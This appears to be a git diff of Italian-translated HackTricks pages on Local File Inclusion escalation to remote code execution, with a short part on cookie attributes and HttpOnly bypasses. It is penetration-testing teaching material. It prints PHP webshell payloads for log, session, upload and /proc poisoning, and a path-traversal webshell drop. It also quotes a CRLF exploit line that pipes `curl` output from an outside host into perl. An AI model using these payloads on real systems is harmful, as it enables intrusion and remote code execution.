In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file attiverà un **errore**.
|
||||
In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file innescherà un **errore**.
|
||||
|
||||
Poi, per rivelare il primo carattere, il filtro **`dechunk`** è utilizzato insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** sono utilizzati per **posizionare altri caratteri all'inizio e rivelarli**.
|
||||
Poi, per leak del primo char viene utilizzato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13**, e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **place other chars at the beggining and leak them**.
|
||||
|
||||
**Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo target in sola lettura con questo)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Per i dettagli tecnici controlla il post menzionato!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Scrittura di file arbitrari tramite Path Traversal (Webshell RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Quando il codice lato server che riceve/carica file costruisce il percorso di destinazione utilizzando dati controllati dall'utente (ad es., un nome di file o URL) senza canonizzarlo e convalidarlo, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura di file arbitraria. Se puoi posizionare il payload sotto una directory esposta al web, di solito ottieni RCE non autenticato lasciando cadere una webshell.
|
||||
Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (es., un filename o URL) senza canonicalizzare e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload in una directory esposta dal web, di solito ottieni RCE non autenticata inserendo una webshell.
|
||||
|
||||
Flusso di sfruttamento tipico:
|
||||
- Identificare una primitiva di scrittura in un endpoint o in un worker di background che accetta un percorso/nome di file e scrive contenuto su disco (ad es., ingestione basata su messaggi, gestori di comandi XML/JSON, estrattori ZIP, ecc.).
|
||||
- Determinare le directory esposte al web. Esempi comuni:
|
||||
Workflow tipico di sfruttamento:
|
||||
- Identifica una primitive di scrittura in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
|
||||
- Determina le directory esposte al web. Esempi comuni:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → lascia cadere `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → lascia cadere `shell.aspx`
|
||||
- Creare un percorso di traversale che esca dalla directory di archiviazione prevista nella webroot e includere il contenuto della tua webshell.
|
||||
- Navigare verso il payload lasciato cadere ed eseguire comandi.
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Crea un percorso di traversal che esca dalla directory di storage prevista verso il webroot, e includi il contenuto della tua webshell.
|
||||
- Naviga fino al payload droppato ed esegui comandi.
|
||||
|
||||
Note:
|
||||
- Il servizio vulnerabile che esegue la scrittura potrebbe ascoltare su una porta non HTTP (ad es., un listener JMF XML su TCP 4004). Il portale web principale (porta diversa) servirà successivamente il tuo payload.
|
||||
- Sugli stack Java, queste scritture di file sono spesso implementate con una semplice concatenazione di `File`/`Paths`. La mancanza di canonizzazione/lista di autorizzazione è il difetto principale.
|
||||
- Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) servirà poi il tuo payload.
|
||||
- Negli stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale.
|
||||
|
||||
Esempio generico in stile XML/JMF (gli schemi dei prodotti variano – il wrapper DOCTYPE/body è irrilevante per la traversale):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -466,25 +466,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Hardening che sconfigge questa classe di bug:
|
||||
- Risolvere a un percorso canonico e garantire che sia un discendente di una directory di base autorizzata.
|
||||
- Rifiutare qualsiasi percorso contenente `..`, radici assolute o lettere di unità; preferire nomi di file generati.
|
||||
- Eseguire lo scrittore come un account a bassa privilegio e segregare le directory di scrittura dalle radici servite.
|
||||
Mitigazioni che contrastano questa classe di bug:
|
||||
- Risolvere a un percorso canonico e garantire che sia un discendente di una directory base allow-listed.
|
||||
- Rifiutare qualsiasi percorso contenente `..`, root assoluti, o lettere di drive; preferire nomi di file generati.
|
||||
- Eseguire il writer con un account a basso privilegio e segregare le directory di scrittura dalle root servite.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Spiegato in precedenza, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Via file di log Apache/Nginx
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include, potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell php come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire nel **user agent** o in un **GET parameter** una php shell come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**.
|
||||
> Nota che **se usi doppi apici** per la shell invece di **virgolette semplici**, i doppi apici saranno modificati nella stringa "_**quote;**_", **PHP genererà un errore** lì e **niente verrà eseguito**.
|
||||
>
|
||||
> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che cerca di caricare il file di log e non avrai una seconda opportunità.
|
||||
> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genera un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità.
|
||||
|
||||
Questo potrebbe essere fatto anche in altri log, ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **authorisation "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
|
||||
Questo può essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questo header.\
|
||||
Altri possibili percorsi di log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -497,46 +497,46 @@ Altri possibili percorsi di log:
|
||||
/var/log/nginx/error.log
|
||||
/var/log/httpd/error_log
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
Wordlist per Fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Via Email
|
||||
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere la mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
1. Carica molte shell (ad esempio: 100)
|
||||
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere forzato) e $FD il file descriptor (può essere forzato anche questo)
|
||||
1. Carica molte shells (per esempio : 100)
|
||||
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (anche questo può essere brute forced)
|
||||
|
||||
### Via /proc/self/environ
|
||||
|
||||
Come un file di log, invia il payload nell'User-Agent, verrà riflesso all'interno del file /proc/self/environ
|
||||
Come un file di log, invia il payload nello User-Agent, verrà riflesso nel file /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Se puoi caricare un file, inietta semplicemente il payload della shell in esso (ad es: `<?php system($_GET['c']); ?>`).
|
||||
Se puoi uploadare un file, basta iniettare il shell payload al suo interno (es.: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Per mantenere il file leggibile, è meglio iniettare nei metadati delle immagini/doc/pdf
|
||||
Per mantenere il file leggibile è meglio inserire nei metadati delle immagini/doc/pdf
|
||||
|
||||
### Via upload di file Zip
|
||||
### Via upload di file ZIP
|
||||
|
||||
Carica un file ZIP contenente una shell PHP compressa e accedi:
|
||||
Carica un file ZIP che contiene una PHP shell compressa e accedi:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
### Tramite PHP sessions
|
||||
|
||||
Controlla se il sito web utilizza PHP Session (PHPSESSID)
|
||||
Verifica se il sito usa PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
In PHP, queste sessioni sono memorizzate nei file _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
In PHP queste sessioni sono memorizzate in _/var/lib/php5/sess\\_\[PHPSESSID]\_ file
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -545,32 +545,33 @@ Imposta il cookie su `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Usa l'LFI per includere il file di sessione PHP
|
||||
Usa LFI per includere il file di sessione PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
|
||||
Se ssh è attivo, controlla quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a **\<HOME>/.ssh/id_rsa**
|
||||
Se ssh è attivo controlla quale utente è in uso (/proc/self/status & /etc/passwd) e prova ad accedere **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
I log per il server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nello scenario in cui esista una vulnerabilità di Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, possono essere considerati i seguenti passaggi:
|
||||
The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
|
||||
|
||||
1. Inietta un payload PHP nel campo nome utente durante il processo di accesso.
|
||||
2. Dopo l'iniezione, utilizza l'LFI per recuperare i log del server da _**/var/log/vsftpd.log**_.
|
||||
1. Inject a PHP payload into the username field during the login process.
|
||||
2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Come mostrato in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, il filtro PHP base64 ignora semplicemente i Non-base64. Puoi usarlo per bypassare il controllo dell'estensione del file: se fornisci base64 che termina con ".php", ignorerà semplicemente il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
|
||||
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, PHP base64 filter semplicemente ignora i caratteri Non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci un base64 che termina con ".php", esso semplicemente ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### Via php filters (nessun file necessario)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters per generare contenuto arbitrario** as output. Which basically means that you can **generare codice php arbitrario** for the include **senza doverlo scrivere** in un file.
|
||||
|
||||
Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters per generare contenuti arbitrari** come output. Il che significa fondamentalmente che puoi **generare codice php arbitrario** per l'inclusione **senza doverlo scrivere** in un file.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -578,7 +579,8 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Via segmentation fault
|
||||
|
||||
**Carica** un file che sarà memorizzato come **temporaneo** in `/tmp`, poi nella **stessa richiesta,** attiva un **segmentation fault**, e poi il **file temporaneo non verrà eliminato** e puoi cercarlo.
|
||||
**Carica** un file che verrà memorizzato come **temporaneo** in `/tmp`, poi nella **stessa richiesta** causa un **segmentation fault**, e il **file temporaneo non verrà eliminato** e potrai cercarlo.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
@ -586,7 +588,8 @@ lfi2rce-via-segmentation-fault.md
|
||||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Se hai trovato un **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP, potresti essere in grado di ottenere RCE con la seguente tecnica:
|
||||
Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -594,7 +597,8 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Se hai trovato un **Local File Inclusion** anche se **non hai una sessione** e `session.auto_start` è `Off`. Se fornisci il **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **abiliterà la sessione per te**. Potresti abusare di questo per ottenere RCE:
|
||||
Se trovi una **Local File Inclusion** anche se **non hai una sessione** e `session.auto_start` è `Off`. Se fornisci la **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **abiliterà la sessione per te**. Potresti abusarne per ottenere RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -602,7 +606,8 @@ via-php_session_upload_progress.md
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
Se hai trovato un **Local File Inclusion** e il server è in esecuzione su **Windows**, potresti ottenere RCE:
|
||||
Se trovi una **Local File Inclusion** e il server è in esecuzione su **Windows**, potresti ottenere RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
@ -610,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
Come [**spiegato in questo post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste per default nelle immagini docker di php. Inoltre, è possibile passare argomenti allo script tramite l'URL perché è indicato che se un parametro URL non ha un `=`, dovrebbe essere usato come argomento.
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
La seguente richiesta crea un file in `/tmp/hello.php` con il contenuto `<?=phpinfo()?>`:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
L'abuso seguente di una vulnerabilità CRLF per ottenere RCE (da [**qui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Quanto segue sfrutta una vuln CRLF per ottenere RCE (da [**qui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -625,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
|
||||
Se hai trovato un **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on puoi ottenere RCE:
|
||||
Se trovi una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on puoi ottenere RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -634,7 +639,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Se hai trovato un **Local File Inclusion** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
|
||||
Se trovi una **Local File Inclusion** e puoi **esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere abbia marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -643,19 +648,19 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Se puoi abusare del LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP sul server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
|
||||
Se puoi abusare della LFI per **caricare file temporanei** e far sì che il server **blocchi** l'esecuzione PHP, potresti poi **forzare i nomi dei file per ore** per trovare il file temporaneo:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### To Fatal Error
|
||||
### Verso un Fatal Error
|
||||
|
||||
Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso due volte per generare quell'errore).
|
||||
Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per far scattare quell'errore).
|
||||
|
||||
**Non so quanto sia utile, ma potrebbe esserlo.**\
|
||||
_Anche se causate un errore fatale di PHP, i file temporanei caricati vengono eliminati._
|
||||
**Non so quanto possa essere utile, ma potrebbe esserlo.**\
|
||||
_Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -665,6 +670,9 @@ _Anche se causate un errore fatale di PHP, i file temporanei caricati vengono el
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -4,19 +4,19 @@
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
I cookie hanno diversi attributi che controllano il loro comportamento nel browser dell'utente. Ecco un riepilogo di questi attributi in una voce più passiva:
|
||||
Cookies vengono fornite con diversi attributi che controllano il loro comportamento nel browser dell'utente. Ecco una panoramica di questi attributi in voce più passiva:
|
||||
|
||||
### Expires e Max-Age
|
||||
### Expires and Max-Age
|
||||
|
||||
La data di scadenza di un cookie è determinata dall'attributo `Expires`. Al contrario, l'attributo `Max-age` definisce il tempo in secondi fino a quando un cookie viene eliminato. **Opta per `Max-age` poiché riflette pratiche più moderne.**
|
||||
La data di scadenza di un cookie è determinata dall'attributo `Expires`. Al contrario, l'attributo `Max-age` definisce il tempo in secondi fino a quando un cookie viene eliminato. **Preferire `Max-age` in quanto riflette pratiche più moderne.**
|
||||
|
||||
### Domain
|
||||
|
||||
Gli host che ricevono un cookie sono specificati dall'attributo `Domain`. Per impostazione predefinita, questo è impostato sull'host che ha emesso il cookie, senza includere i suoi sottodomini. Tuttavia, quando l'attributo `Domain` è esplicitamente impostato, comprende anche i sottodomini. Questo rende la specifica dell'attributo `Domain` un'opzione meno restrittiva, utile per scenari in cui è necessario condividere cookie tra sottodomini. Ad esempio, impostando `Domain=mozilla.org`, i cookie diventano accessibili sui suoi sottodomini come `developer.mozilla.org`.
|
||||
Gli host che ricevono un cookie sono specificati dall'attributo `Domain`. Per impostazione predefinita, questo è impostato sull'host che ha emesso il cookie, senza includere i suoi sottodomini. Tuttavia, quando l'attributo `Domain` viene esplicitamente impostato, esso comprende anche i sottodomini. Questo rende la specificazione dell'attributo `Domain` un'opzione meno restrittiva, utile in scenari dove è necessario condividere cookie tra sottodomini. Per esempio, impostando `Domain=mozilla.org` i cookie saranno accessibili sui suoi sottodomini come `developer.mozilla.org`.
|
||||
|
||||
### Path
|
||||
|
||||
Un percorso URL specifico che deve essere presente nell'URL richiesto affinché l'intestazione `Cookie` venga inviata è indicato dall'attributo `Path`. Questo attributo considera il carattere `/` come separatore di directory, consentendo corrispondenze anche nelle sottodirectory.
|
||||
Un percorso URL specifico che deve essere presente nell'URL richiesto affinché l'intestazione `Cookie` venga inviata è indicato dall'attributo `Path`. Questo attributo considera il carattere `/` come separatore di directory, permettendo corrispondenze anche nelle sottodirectory.
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
@ -27,12 +27,12 @@ Quando due cookie hanno lo stesso nome, quello scelto per l'invio si basa su:
|
||||
|
||||
### SameSite
|
||||
|
||||
- L'attributo `SameSite` determina se i cookie vengono inviati su richieste provenienti da domini di terze parti. Offre tre impostazioni:
|
||||
- **Strict**: Limita l'invio del cookie su richieste di terze parti.
|
||||
- **Lax**: Consente l'invio del cookie con richieste GET avviate da siti web di terze parti.
|
||||
- **None**: Permette l'invio del cookie da qualsiasi dominio di terze parti.
|
||||
- L'attributo `SameSite` stabilisce se i cookie vengono inviati su richieste provenienti da domini di terze parti. Offre tre impostazioni:
|
||||
- **Strict**: Impedisce che il cookie venga inviato su richieste di terze parti.
|
||||
- **Lax**: Permette che il cookie venga inviato con richieste GET avviate da siti web di terze parti.
|
||||
- **None**: Permette che il cookie venga inviato da qualsiasi dominio di terze parti.
|
||||
|
||||
Ricorda, mentre configuri i cookie, comprendere questi attributi può aiutare a garantire che si comportino come previsto in diversi scenari.
|
||||
Ricordare che, durante la configurazione dei cookie, comprendere questi attributi può aiutare a garantire che si comportino come previsto in diversi scenari.
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
@ -44,77 +44,84 @@ Ricorda, mentre configuri i cookie, comprendere questi attributi può aiutare a
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabella da [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e leggermente modificata.\
|
||||
Un cookie con l'attributo _**SameSite**_ **mitigherà gli attacchi CSRF** in cui è necessaria una sessione autenticata.
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
Un cookie con l'attributo _**SameSite**_ mitigherà **CSRF attacks** dove è necessaria una sessione autenticata.
|
||||
|
||||
**\*Nota che da Chrome80 (feb/2019) il comportamento predefinito di un cookie senza un attributo SameSite** **sarà lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Nota che temporaneamente, dopo aver applicato questa modifica, i **cookie senza una policy SameSite** in Chrome saranno **trattati come None** durante i **primi 2 minuti e poi come Lax per le richieste POST cross-site di livello superiore.**
|
||||
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notare che temporaneamente, dopo l'applicazione di questa modifica, i **cookie senza una SameSite** **policy** in Chrome saranno **trattati come None** durante i **primi 2 minuti e poi come Lax per top-level cross-site POST request.**
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Questo impedisce al **client** di accedere al cookie (ad esempio tramite **Javascript**: `document.cookie`)
|
||||
Questo impedisce al **client** di accedere al cookie (Via **Javascript** per esempio: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
- Se la pagina **invia i cookie come risposta** a una richiesta (ad esempio in una pagina **PHPinfo**), è possibile abusare dell'XSS per inviare una richiesta a questa pagina e **rubare i cookie** dalla risposta (controlla un esempio in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Questo potrebbe essere bypassato con richieste **TRACE** **HTTP** poiché la risposta del server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata **Cross-Site Tracking**.
|
||||
- Questa tecnica è evitata dai **browser moderni non permettendo l'invio di una richiesta TRACE** da JS. Tuttavia, sono stati trovati alcuni bypass in software specifici come inviare `\r\nTRACE` invece di `TRACE` a IE6.0 SP2.
|
||||
- Un altro modo è lo sfruttamento di vulnerabilità zero/day dei browser.
|
||||
- È possibile **sovrascrivere i cookie HttpOnly** eseguendo un attacco di overflow del Cookie Jar:
|
||||
- Se la pagina sta **inviando i cookie come risposta** a una richiesta (per esempio in una pagina **PHPinfo**), è possibile abusare di XSS per inviare una richiesta a questa pagina e **rubare i cookie** dalla risposta (controllare un esempio in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
